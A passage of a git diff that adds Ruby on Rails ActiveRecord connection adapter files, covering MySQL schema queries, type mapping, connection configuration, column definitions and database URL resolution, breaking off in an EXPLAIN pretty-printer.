+                 fk.constraint_name AS 'name',
+                 rc.update_rule AS 'on_update',
+                 rc.delete_rule AS 'on_delete'
+          FROM information_schema.key_column_usage fk
+          JOIN information_schema.referential_constraints rc
+          USING (constraint_schema, constraint_name)
+          WHERE fk.referenced_column_name IS NOT NULL
+            AND fk.table_schema = #{scope[:schema]}
+            AND fk.table_name = #{scope[:name]}
+            AND rc.table_name = #{scope[:name]}
+        SQL
+
+        fk_info.map do |row|
+          options = {
+            column: row["column"],
+            name: row["name"],
+            primary_key: row["primary_key"]
+          }
+
+          options[:on_update] = extract_foreign_key_action(row["on_update"])
+          options[:on_delete] = extract_foreign_key_action(row["on_delete"])
+
+          ForeignKeyDefinition.new(table_name, row["to_table"], options)
+        end
+      end
+
+      def table_options(table_name) # :nodoc:
+        table_options = {}
+
+        create_table_info = create_table_info(table_name)
+
+        # strip create_definitions and partition_options
+        raw_table_options = create_table_info.sub(/\A.*\n\) /m, "").sub(/\n\/\*!.*\*\/\n\z/m, "").strip
+
+        # strip AUTO_INCREMENT
+        raw_table_options.sub!(/(ENGINE=\w+)(?: AUTO_INCREMENT=\d+)/, '\1')
+
+        table_options[:options] = raw_table_options
+
+        # strip COMMENT
+        if raw_table_options.sub!(/ COMMENT='.+'/, "")
+          table_options[:comment] = table_comment(table_name)
+        end
+
+        table_options
+      end
+
+      # Maps logical Rails types to MySQL-specific data types.
+      def type_to_sql(type, limit: nil, precision: nil, scale: nil, unsigned: nil, **) # :nodoc:
+        sql = \
+          case type.to_s
+          when "integer"
+            integer_to_sql(limit)
+          when "text"
+            text_to_sql(limit)
+          when "blob"
+            binary_to_sql(limit)
+          when "binary"
+            if (0..0xfff) === limit
+              "varbinary(#{limit})"
+            else
+              binary_to_sql(limit)
+            end
+          else
+            super
+          end
+
+        sql = "#{sql} unsigned" if unsigned && type != :primary_key
+        sql
+      end
+
+      # SHOW VARIABLES LIKE 'name'
+      def show_variable(name)
+        query_value("SELECT @@#{name}", "SCHEMA")
+      rescue ActiveRecord::StatementInvalid
+        nil
+      end
+
+      def primary_keys(table_name) # :nodoc:
+        raise ArgumentError unless table_name.present?
+
+        scope = quoted_scope(table_name)
+
+        query_values(<<-SQL.strip_heredoc, "SCHEMA")
+          SELECT column_name
+          FROM information_schema.key_column_usage
+          WHERE constraint_name = 'PRIMARY'
+            AND table_schema = #{scope[:schema]}
+            AND table_name = #{scope[:name]}
+          ORDER BY ordinal_position
+        SQL
+      end
+
+      def case_sensitive_comparison(table, attribute, column, value) # :nodoc:
+        if column.collation && !column.case_sensitive?
+          table[attribute].eq(Arel::Nodes::Bin.new(value))
+        else
+          super
+        end
+      end
+
+      def can_perform_case_insensitive_comparison_for?(column)
+        column.case_sensitive?
+      end
+      private :can_perform_case_insensitive_comparison_for?
+
+      # In MySQL 5.7.5 and up, ONLY_FULL_GROUP_BY affects handling of queries that use
+      # DISTINCT and ORDER BY. It requires the ORDER BY columns in the select list for
+      # distinct queries, and requires that the ORDER BY include the distinct column.
+      # See https://dev.mysql.com/doc/refman/5.7/en/group-by-handling.html
+      def columns_for_distinct(columns, orders) # :nodoc:
+        order_columns = orders.reject(&:blank?).map { |s|
+          # Convert Arel node to string
+          s = s.to_sql unless s.is_a?(String)
+          # Remove any ASC/DESC modifiers
+          s.gsub(/\s+(?:ASC|DESC)\b/i, "")
+        }.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" }
+
+        [super, *order_columns].join(", ")
+      end
+
+      def strict_mode?
+        self.class.type_cast_config_to_boolean(@config.fetch(:strict, true))
+      end
+
+      def default_index_type?(index) # :nodoc:
+        index.using == :btree || super
+      end
+
+      def insert_fixtures(*)
+        without_sql_mode("NO_AUTO_VALUE_ON_ZERO") { super }
+      end
+
+      private
+
+        def without_sql_mode(mode)
+          result = execute("SELECT @@SESSION.sql_mode")
+          current_mode = result.first[0]
+          return yield unless current_mode.include?(mode)
+
+          sql_mode = "REPLACE(@@sql_mode, '#{mode}', '')"
+          execute("SET @@SESSION.sql_mode = #{sql_mode}")
+          yield
+        ensure
+          sql_mode = "CONCAT(@@sql_mode, ',#{mode}')"
+          execute("SET @@SESSION.sql_mode = #{sql_mode}")
+        end
+
+        def initialize_type_map(m = type_map)
+          super
+
+          register_class_with_limit m, %r(char)i, MysqlString
+
+          m.register_type %r(tinytext)i,   Type::Text.new(limit: 2**8 - 1)
+          m.register_type %r(tinyblob)i,   Type::Binary.new(limit: 2**8 - 1)
+          m.register_type %r(text)i,       Type::Text.new(limit: 2**16 - 1)
+          m.register_type %r(blob)i,       Type::Binary.new(limit: 2**16 - 1)
+          m.register_type %r(mediumtext)i, Type::Text.new(limit: 2**24 - 1)
+          m.register_type %r(mediumblob)i, Type::Binary.new(limit: 2**24 - 1)
+          m.register_type %r(longtext)i,   Type::Text.new(limit: 2**32 - 1)
+          m.register_type %r(longblob)i,   Type::Binary.new(limit: 2**32 - 1)
+          m.register_type %r(^float)i,     Type::Float.new(limit: 24)
+          m.register_type %r(^double)i,    Type::Float.new(limit: 53)
+          m.register_type %r(^json)i,      Type::Json.new
+
+          register_integer_type m, %r(^bigint)i,    limit: 8
+          register_integer_type m, %r(^int)i,       limit: 4
+          register_integer_type m, %r(^mediumint)i, limit: 3
+          register_integer_type m, %r(^smallint)i,  limit: 2
+          register_integer_type m, %r(^tinyint)i,   limit: 1
+
+          m.register_type %r(^tinyint\(1\))i, Type::Boolean.new if emulate_booleans
+          m.alias_type %r(year)i,          "integer"
+          m.alias_type %r(bit)i,           "binary"
+
+          m.register_type(%r(enum)i) do |sql_type|
+            limit = sql_type[/^enum\((.+)\)/i, 1]
+              .split(",").map { |enum| enum.strip.length - 2 }.max
+            MysqlString.new(limit: limit)
+          end
+
+          m.register_type(%r(^set)i) do |sql_type|
+            limit = sql_type[/^set\((.+)\)/i, 1]
+              .split(",").map { |set| set.strip.length - 1 }.sum - 1
+            MysqlString.new(limit: limit)
+          end
+        end
+
+        def register_integer_type(mapping, key, options)
+          mapping.register_type(key) do |sql_type|
+            if /\bunsigned\b/.match?(sql_type)
+              Type::UnsignedInteger.new(options)
+            else
+              Type::Integer.new(options)
+            end
+          end
+        end
+
+        def extract_precision(sql_type)
+          if /\A(?:date)?time(?:stamp)?\b/.match?(sql_type)
+            super || 0
+          else
+            super
+          end
+        end
+
+        def add_index_length(quoted_columns, **options)
+          if length = options[:length]
+            case length
+            when Hash
+              length = length.symbolize_keys
+              quoted_columns.each { |name, column| column << "(#{length[name]})" if length[name].present? }
+            when Integer
+              quoted_columns.each { |name, column| column << "(#{length})" }
+            end
+          end
+
+          quoted_columns
+        end
+
+        def add_options_for_index_columns(quoted_columns, **options)
+          quoted_columns = add_index_length(quoted_columns, options)
+          super
+        end
+
+        # See https://dev.mysql.com/doc/refman/5.7/en/error-messages-server.html
+        ER_DUP_ENTRY            = 1062
+        ER_NOT_NULL_VIOLATION   = 1048
+        ER_DO_NOT_HAVE_DEFAULT  = 1364
+        ER_NO_REFERENCED_ROW_2  = 1452
+        ER_DATA_TOO_LONG        = 1406
+        ER_OUT_OF_RANGE         = 1264
+        ER_LOCK_DEADLOCK        = 1213
+        ER_CANNOT_ADD_FOREIGN   = 1215
+        ER_CANNOT_CREATE_TABLE  = 1005
+
+        def translate_exception(exception, message)
+          case error_number(exception)
+          when ER_DUP_ENTRY
+            RecordNotUnique.new(message)
+          when ER_NO_REFERENCED_ROW_2
+            InvalidForeignKey.new(message)
+          when ER_CANNOT_ADD_FOREIGN
+            mismatched_foreign_key(message)
+          when ER_CANNOT_CREATE_TABLE
+            if message.include?("errno: 150")
+              mismatched_foreign_key(message)
+            else
+              super
+            end
+          when ER_DATA_TOO_LONG
+            ValueTooLong.new(message)
+          when ER_OUT_OF_RANGE
+            RangeError.new(message)
+          when ER_NOT_NULL_VIOLATION, ER_DO_NOT_HAVE_DEFAULT
+            NotNullViolation.new(message)
+          when ER_LOCK_DEADLOCK
+            Deadlocked.new(message)
+          else
+            super
+          end
+        end
+
+        def add_column_sql(table_name, column_name, type, options = {})
+          td = create_table_definition(table_name)
+          cd = td.new_column_definition(column_name, type, options)
+          schema_creation.accept(AddColumnDefinition.new(cd))
+        end
+
+        def change_column_sql(table_name, column_name, type, options = {})
+          column = column_for(table_name, column_name)
+
+          unless options.key?(:default)
+            options[:default] = column.default
+          end
+
+          unless options.key?(:null)
+            options[:null] = column.null
+          end
+
+          unless options.key?(:comment)
+            options[:comment] = column.comment
+          end
+
+          td = create_table_definition(table_name)
+          cd = td.new_column_definition(column.name, type, options)
+          schema_creation.accept(ChangeColumnDefinition.new(cd, column.name))
+        end
+
+        def rename_column_sql(table_name, column_name, new_column_name)
+          column  = column_for(table_name, column_name)
+          options = {
+            default: column.default,
+            null: column.null,
+            auto_increment: column.auto_increment?
+          }
+
+          current_type = exec_query("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE #{quote(column_name)}", "SCHEMA").first["Type"]
+          td = create_table_definition(table_name)
+          cd = td.new_column_definition(new_column_name, current_type, options)
+          schema_creation.accept(ChangeColumnDefinition.new(cd, column.name))
+        end
+
+        def remove_column_sql(table_name, column_name, type = nil, options = {})
+          "DROP #{quote_column_name(column_name)}"
+        end
+
+        def remove_columns_sql(table_name, *column_names)
+          column_names.map { |column_name| remove_column_sql(table_name, column_name) }
+        end
+
+        def add_index_sql(table_name, column_name, options = {})
+          index_name, index_type, index_columns, _, index_algorithm, index_using = add_index_options(table_name, column_name, options)
+          index_algorithm[0, 0] = ", " if index_algorithm.present?
+          "ADD #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})#{index_algorithm}"
+        end
+
+        def remove_index_sql(table_name, options = {})
+          index_name = index_name_for_remove(table_name, options)
+          "DROP INDEX #{index_name}"
+        end
+
+        def add_timestamps_sql(table_name, options = {})
+          [add_column_sql(table_name, :created_at, :datetime, options), add_column_sql(table_name, :updated_at, :datetime, options)]
+        end
+
+        def remove_timestamps_sql(table_name, options = {})
+          [remove_column_sql(table_name, :updated_at), remove_column_sql(table_name, :created_at)]
+        end
+
+        # MySQL is too stupid to create a temporary table for use subquery, so we have
+        # to give it some prompting in the form of a subsubquery. Ugh!
+        def subquery_for(key, select)
+          subselect = select.clone
+          subselect.projections = [key]
+
+          # Materialize subquery by adding distinct
+          # to work with MySQL 5.7.6 which sets optimizer_switch='derived_merge=on'
+          subselect.distinct unless select.limit || select.offset || select.orders.any?
+
+          Arel::SelectManager.new(subselect.as("__active_record_temp")).project(Arel.sql(key.name))
+        end
+
+        def supports_rename_index?
+          mariadb? ? false : version >= "5.7.6"
+        end
+
+        def configure_connection
+          variables = @config.fetch(:variables, {}).stringify_keys
+
+          # By default, MySQL 'where id is null' selects the last inserted id; Turn this off.
+          variables["sql_auto_is_null"] = 0
+
+          # Increase timeout so the server doesn't disconnect us.
+          wait_timeout = self.class.type_cast_config_to_integer(@config[:wait_timeout])
+          wait_timeout = 2147483 unless wait_timeout.is_a?(Integer)
+          variables["wait_timeout"] = wait_timeout
+
+          defaults = [":default", :default].to_set
+
+          # Make MySQL reject illegal values rather than truncating or blanking them, see
+          # http://dev.mysql.com/doc/refman/5.7/en/sql-mode.html#sqlmode_strict_all_tables
+          # If the user has provided another value for sql_mode, don't replace it.
+          if sql_mode = variables.delete("sql_mode")
+            sql_mode = quote(sql_mode)
+          elsif !defaults.include?(strict_mode?)
+            if strict_mode?
+              sql_mode = "CONCAT(@@sql_mode, ',STRICT_ALL_TABLES')"
+            else
+              sql_mode = "REPLACE(@@sql_mode, 'STRICT_TRANS_TABLES', '')"
+              sql_mode = "REPLACE(#{sql_mode}, 'STRICT_ALL_TABLES', '')"
+              sql_mode = "REPLACE(#{sql_mode}, 'TRADITIONAL', '')"
+            end
+            sql_mode = "CONCAT(#{sql_mode}, ',NO_AUTO_VALUE_ON_ZERO')"
+          end
+          sql_mode_assignment = "@@SESSION.sql_mode = #{sql_mode}, " if sql_mode
+
+          # NAMES does not have an equals sign, see
+          # http://dev.mysql.com/doc/refman/5.7/en/set-statement.html#id944430
+          # (trailing comma because variable_assignments will always have content)
+          if @config[:encoding]
+            encoding = "NAMES #{@config[:encoding]}".dup
+            encoding << " COLLATE #{@config[:collation]}" if @config[:collation]
+            encoding << ", "
+          end
+
+          # Gather up all of the SET variables...
+          variable_assignments = variables.map do |k, v|
+            if defaults.include?(v)
+              "@@SESSION.#{k} = DEFAULT" # Sets the value to the global or compile default
+            elsif !v.nil?
+              "@@SESSION.#{k} = #{quote(v)}"
+            end
+            # or else nil; compact to clear nils out
+          end.compact.join(", ")
+
+          # ...and send them all in one query
+          execute "SET #{encoding} #{sql_mode_assignment} #{variable_assignments}"
+        end
+
+        def column_definitions(table_name) # :nodoc:
+          execute_and_free("SHOW FULL FIELDS FROM #{quote_table_name(table_name)}", "SCHEMA") do |result|
+            each_hash(result)
+          end
+        end
+
+        def create_table_info(table_name) # :nodoc:
+          exec_query("SHOW CREATE TABLE #{quote_table_name(table_name)}", "SCHEMA").first["Create Table"]
+        end
+
+        def arel_visitor
+          Arel::Visitors::MySQL.new(self)
+        end
+
+        def mismatched_foreign_key(message)
+          parts = message.scan(/`(\w+)`[ $)]/).flatten
+          MismatchedForeignKey.new(
+            self,
+            message: message,
+            table: parts[0],
+            foreign_key: parts[1],
+            target_table: parts[2],
+            primary_key: parts[3],
+          )
+        end
+
+        def integer_to_sql(limit) # :nodoc:
+          case limit
+          when 1; "tinyint"
+          when 2; "smallint"
+          when 3; "mediumint"
+          when nil, 4; "int"
+          when 5..8; "bigint"
+          else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a decimal with scale 0 instead.")
+          end
+        end
+
+        def text_to_sql(limit) # :nodoc:
+          case limit
+          when 0..0xff;               "tinytext"
+          when nil, 0x100..0xffff;    "text"
+          when 0x10000..0xffffff;     "mediumtext"
+          when 0x1000000..0xffffffff; "longtext"
+          else raise(ActiveRecordError, "No text type has byte length #{limit}")
+          end
+        end
+
+        def binary_to_sql(limit) # :nodoc:
+          case limit
+          when 0..0xff;               "tinyblob"
+          when nil, 0x100..0xffff;    "blob"
+          when 0x10000..0xffffff;     "mediumblob"
+          when 0x1000000..0xffffffff; "longblob"
+          else raise(ActiveRecordError, "No binary type has byte length #{limit}")
+          end
+        end
+
+        def version_string
+          full_version.match(/^(?:5\.5\.5-)?(\d+\.\d+\.\d+)/)[1]
+        end
+
+        class MysqlString < Type::String # :nodoc:
+          def serialize(value)
+            case value
+            when true then "1"
+            when false then "0"
+            else super
+            end
+          end
+
+          private
+
+            def cast_value(value)
+              case value
+              when true then "1"
+              when false then "0"
+              else super
+              end
+            end
+        end
+
+        ActiveRecord::Type.register(:string, MysqlString, adapter: :mysql2)
+        ActiveRecord::Type.register(:unsigned_integer, Type::UnsignedInteger, adapter: :mysql2)
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
new file mode 100644
index 0000000000..16273fb5f1
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # :stopdoc:
+  module ConnectionAdapters
+    # An abstract definition of a column in a table.
+    class Column
+      attr_reader :name, :default, :sql_type_metadata, :null, :table_name, :default_function, :collation, :comment
+
+      delegate :precision, :scale, :limit, :type, :sql_type, to: :sql_type_metadata, allow_nil: true
+
+      # Instantiates a new column in the table.
+      #
+      # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int</tt>.
+      # +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>.
+      # +sql_type_metadata+ is various information about the type of the column
+      # +null+ determines if this column allows +NULL+ values.
+      def initialize(name, default, sql_type_metadata = nil, null = true, table_name = nil, default_function = nil, collation = nil, comment: nil)
+        @name = name.freeze
+        @table_name = table_name
+        @sql_type_metadata = sql_type_metadata
+        @null = null
+        @default = default
+        @default_function = default_function
+        @collation = collation
+        @comment = comment
+      end
+
+      def has_default?
+        !default.nil? || default_function
+      end
+
+      def bigint?
+        /\Abigint\b/.match?(sql_type)
+      end
+
+      # Returns the human name of the column name.
+      #
+      # ===== Examples
+      #  Column.new('sales_stage', ...).human_name # => 'Sales stage'
+      def human_name
+        Base.human_attribute_name(@name)
+      end
+
+      def init_with(coder)
+        @name = coder["name"]
+        @table_name = coder["table_name"]
+        @sql_type_metadata = coder["sql_type_metadata"]
+        @null = coder["null"]
+        @default = coder["default"]
+        @default_function = coder["default_function"]
+        @collation = coder["collation"]
+        @comment = coder["comment"]
+      end
+
+      def encode_with(coder)
+        coder["name"] = @name
+        coder["table_name"] = @table_name
+        coder["sql_type_metadata"] = @sql_type_metadata
+        coder["null"] = @null
+        coder["default"] = @default
+        coder["default_function"] = @default_function
+        coder["collation"] = @collation
+        coder["comment"] = @comment
+      end
+
+      def ==(other)
+        other.is_a?(Column) &&
+          attributes_for_hash == other.attributes_for_hash
+      end
+      alias :eql? :==
+
+      def hash
+        attributes_for_hash.hash
+      end
+
+      protected
+
+        def attributes_for_hash
+          [self.class, name, default, sql_type_metadata, null, table_name, default_function, collation]
+        end
+    end
+
+    class NullColumn < Column
+      def initialize(name)
+        super(name, nil)
+      end
+    end
+  end
+  # :startdoc:
+end
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
new file mode 100644
index 0000000000..29542f917e
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -0,0 +1,275 @@
+# frozen_string_literal: true
+
+require "uri"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class ConnectionSpecification #:nodoc:
+      attr_reader :name, :config, :adapter_method
+
+      def initialize(name, config, adapter_method)
+        @name, @config, @adapter_method = name, config, adapter_method
+      end
+
+      def initialize_dup(original)
+        @config = original.config.dup
+      end
+
+      def to_hash
+        @config.merge(name: @name)
+      end
+
+      # Expands a connection string into a hash.
+      class ConnectionUrlResolver # :nodoc:
+        # == Example
+        #
+        #   url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+        #   ConnectionUrlResolver.new(url).to_hash
+        #   # => {
+        #     "adapter"  => "postgresql",
+        #     "host"     => "localhost",
+        #     "port"     => 9000,
+        #     "database" => "foo_test",
+        #     "username" => "foo",
+        #     "password" => "bar",
+        #     "pool"     => "5",
+        #     "timeout"  => "3000"
+        #   }
+        def initialize(url)
+          raise "Database URL cannot be empty" if url.blank?
+          @uri     = uri_parser.parse(url)
+          @adapter = @uri.scheme && @uri.scheme.tr("-", "_")
+          @adapter = "postgresql" if @adapter == "postgres"
+
+          if @uri.opaque
+            @uri.opaque, @query = @uri.opaque.split("?", 2)
+          else
+            @query = @uri.query
+          end
+        end
+
+        # Converts the given URL to a full connection hash.
+        def to_hash
+          config = raw_config.reject { |_, value| value.blank? }
+          config.map { |key, value| config[key] = uri_parser.unescape(value) if value.is_a? String }
+          config
+        end
+
+        private
+
+          def uri
+            @uri
+          end
+
+          def uri_parser
+            @uri_parser ||= URI::Parser.new
+          end
+
+          # Converts the query parameters of the URI into a hash.
+          #
+          #   "localhost?pool=5&reaping_frequency=2"
+          #   # => { "pool" => "5", "reaping_frequency" => "2" }
+          #
+          # returns empty hash if no query present.
+          #
+          #   "localhost"
+          #   # => {}
+          def query_hash
+            Hash[(@query || "").split("&").map { |pair| pair.split("=") }]
+          end
+
+          def raw_config
+            if uri.opaque
+              query_hash.merge(
+                "adapter"  => @adapter,
+                "database" => uri.opaque)
+            else
+              query_hash.merge(
+                "adapter"  => @adapter,
+                "username" => uri.user,
+                "password" => uri.password,
+                "port"     => uri.port,
+                "database" => database_from_path,
+                "host"     => uri.hostname)
+            end
+          end
+
+          # Returns name of the database.
+          def database_from_path
+            if @adapter == "sqlite3"
+              # 'sqlite3:/foo' is absolute, because that makes sense. The
+              # corresponding relative version, 'sqlite3:foo', is handled
+              # elsewhere, as an "opaque".
+
+              uri.path
+            else
+              # Only SQLite uses a filename as the "database" name; for
+              # anything else, a leading slash would be silly.
+
+              uri.path.sub(%r{^/}, "")
+            end
+          end
+      end
+
+      ##
+      # Builds a ConnectionSpecification from user input.
+      class Resolver # :nodoc:
+        attr_reader :configurations
+
+        # Accepts a hash two layers deep, keys on the first layer represent
+        # environments such as "production". Keys must be strings.
+        def initialize(configurations)
+          @configurations = configurations
+        end
+
+        # Returns a hash with database connection information.
+        #
+        # == Examples
+        #
+        # Full hash Configuration.
+        #
+        #   configurations = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+        #   Resolver.new(configurations).resolve(:production)
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3"}
+        #
+        # Initialized with URL configuration strings.
+        #
+        #   configurations = { "production" => "postgresql://localhost/foo" }
+        #   Resolver.new(configurations).resolve(:production)
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+        #
+        def resolve(config)
+          if config
+            resolve_connection config
+          elsif env = ActiveRecord::ConnectionHandling::RAILS_ENV.call
+            resolve_symbol_connection env.to_sym
+          else
+            raise AdapterNotSpecified
+          end
+        end
+
+        # Expands each key in @configurations hash into fully resolved hash
+        def resolve_all
+          config = configurations.dup
+
+          if env = ActiveRecord::ConnectionHandling::DEFAULT_ENV.call
+            env_config = config[env] if config[env].is_a?(Hash) && !(config[env].key?("adapter") || config[env].key?("url"))
+          end
+
+          config.reject! { |k, v| v.is_a?(Hash) && !(v.key?("adapter") || v.key?("url")) }
+          config.merge! env_config if env_config
+
+          config.each do |key, value|
+            config[key] = resolve(value) if value
+          end
+
+          config
+        end
+
+        # Returns an instance of ConnectionSpecification for a given adapter.
+        # Accepts a hash one layer deep that contains all connection information.
+        #
+        # == Example
+        #
+        #   config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+        #   spec = Resolver.new(config).spec(:production)
+        #   spec.adapter_method
+        #   # => "sqlite3_connection"
+        #   spec.config
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" }
+        #
+        def spec(config)
+          spec = resolve(config).symbolize_keys
+
+          raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
+
+          path_to_adapter = "active_record/connection_adapters/#{spec[:adapter]}_adapter"
+          begin
+            require path_to_adapter
+          rescue Gem::LoadError => e
+            raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by ActiveRecord)."
+          rescue LoadError => e
+            raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace
+          end
+
+          adapter_method = "#{spec[:adapter]}_connection"
+
+          unless ActiveRecord::Base.respond_to?(adapter_method)
+            raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter"
+          end
+
+          ConnectionSpecification.new(spec.delete(:name) || "primary", spec, adapter_method)
+        end
+
+        private
+
+          # Returns fully resolved connection, accepts hash, string or symbol.
+          # Always returns a hash.
+          #
+          # == Examples
+          #
+          # Symbol representing current environment.
+          #
+          #   Resolver.new("production" => {}).resolve_connection(:production)
+          #   # => {}
+          #
+          # One layer deep hash of connection values.
+          #
+          #   Resolver.new({}).resolve_connection("adapter" => "sqlite3")
+          #   # => { "adapter" => "sqlite3" }
+          #
+          # Connection URL.
+          #
+          #   Resolver.new({}).resolve_connection("postgresql://localhost/foo")
+          #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+          #
+          def resolve_connection(spec)
+            case spec
+            when Symbol
+              resolve_symbol_connection spec
+            when String
+              resolve_url_connection spec
+            when Hash
+              resolve_hash_connection spec
+            end
+          end
+
+          # Takes the environment such as +:production+ or +:development+.
+          # This requires that the @configurations was initialized with a key that
+          # matches.
+          #
+          #   Resolver.new("production" => {}).resolve_symbol_connection(:production)
+          #   # => {}
+          #
+          def resolve_symbol_connection(spec)
+            if config = configurations[spec.to_s]
+              resolve_connection(config).merge("name" => spec.to_s)
+            else
+              raise(AdapterNotSpecified, "'#{spec}' database is not configured. Available: #{configurations.keys.inspect}")
+            end
+          end
+
+          # Accepts a hash. Expands the "url" key that contains a
+          # URL database connection to a full connection
+          # hash and merges with the rest of the hash.
+          # Connection details inside of the "url" key win any merge conflicts
+          def resolve_hash_connection(spec)
+            if spec["url"] && spec["url"] !~ /^jdbc:/
+              connection_hash = resolve_url_connection(spec.delete("url"))
+              spec.merge!(connection_hash)
+            end
+            spec
+          end
+
+          # Takes a connection URL.
+          #
+          #   Resolver.new({}).resolve_url_connection("postgresql://localhost/foo")
+          #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+          #
+          def resolve_url_connection(url)
+            ConnectionUrlResolver.new(url).to_hash
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb b/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb
new file mode 100644
index 0000000000..3dcb916d99
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module DetermineIfPreparableVisitor
+      attr_reader :preparable
+
+      def accept(*)
+        @preparable = true
+        super
+      end
+
+      def visit_Arel_Nodes_In(*)
+        @preparable = false
+        super
+      end
+
+      def visit_Arel_Nodes_SqlLiteral(*)
+        @preparable = false
+        super
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/column.rb b/activerecord/lib/active_record/connection_adapters/mysql/column.rb
new file mode 100644
index 0000000000..fa1541019d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/column.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      class Column < ConnectionAdapters::Column # :nodoc:
+        delegate :extra, to: :sql_type_metadata, allow_nil: true
+
+        def unsigned?
+          /\bunsigned(?: zerofill)?\z/.match?(sql_type)
+        end
+
+        def case_sensitive?
+          collation && !/_ci\z/.match?(collation)
+        end
+
+        def auto_increment?
+          extra == "auto_increment"
+        end
+
+        def virtual?
+          /\b(?:VIRTUAL|STORED|PERSISTENT)\b/.match?(extra)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb
new file mode 100644
index 0000000000..a058a72872
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb
@@ -0,0 +1,97 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      module DatabaseStatements
+        # Returns an ActiveRecord::Result instance.
+        def select_all(*) # :nodoc:
+          result = if ExplainRegistry.collect? && prepared_statements
+            unprepared_statement { super }
+          else
+            super
+          end
+          @connection.next_result while @connection.more_results?
+          result
+        end
+
+        def query(sql, name = nil) # :nodoc:
+          execute(sql, name).to_a
+        end
+
+        # Executes the SQL statement in the context of this connection.
+        def execute(sql, name = nil)
+          # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
+          # made since we established the connection
+          @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
+
+          super
+        end
+
+        def exec_query(sql, name = "SQL", binds = [], prepare: false)
+          if without_prepared_statement?(binds)
+            execute_and_free(sql, name) do |result|
+              ActiveRecord::Result.new(result.fields, result.to_a) if result
+            end
+          else
+            exec_stmt_and_free(sql, name, binds, cache_stmt: prepare) do |_, result|
+              ActiveRecord::Result.new(result.fields, result.to_a) if result
+            end
+          end
+        end
+
+        def exec_delete(sql, name = nil, binds = [])
+          if without_prepared_statement?(binds)
+            execute_and_free(sql, name) { @connection.affected_rows }
+          else
+            exec_stmt_and_free(sql, name, binds) { |stmt| stmt.affected_rows }
+          end
+        end
+        alias :exec_update :exec_delete
+
+        private
+
+          def last_inserted_id(result)
+            @connection.last_id
+          end
+
+          def exec_stmt_and_free(sql, name, binds, cache_stmt: false)
+            # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been
+            # made since we established the connection
+            @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone
+
+            type_casted_binds = type_casted_binds(binds)
+
+            log(sql, name, binds, type_casted_binds) do
+              if cache_stmt
+                cache = @statements[sql] ||= {
+                  stmt: @connection.prepare(sql)
+                }
+                stmt = cache[:stmt]
+              else
+                stmt = @connection.prepare(sql)
+              end
+
+              begin
+                result = ActiveSupport::Dependencies.interlock.permit_concurrent_loads do
+                  stmt.execute(*type_casted_binds)
+                end
+              rescue Mysql2::Error => e
+                if cache_stmt
+                  @statements.delete(sql)
+                else
+                  stmt.close
+                end
+                raise e
+              end
+
+              ret = yield stmt, result
+              result.free if result
+              stmt.close unless cache_stmt
+              ret
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb
new file mode 100644
index 0000000000..20c3c83664
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module MySQL
+      class ExplainPrettyPrinter # :nodoc:
+        # Pretty prints the result of an EXPLAIN in a way that resembles the output of the
+        # MySQL shell:
+        #
+        #   +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
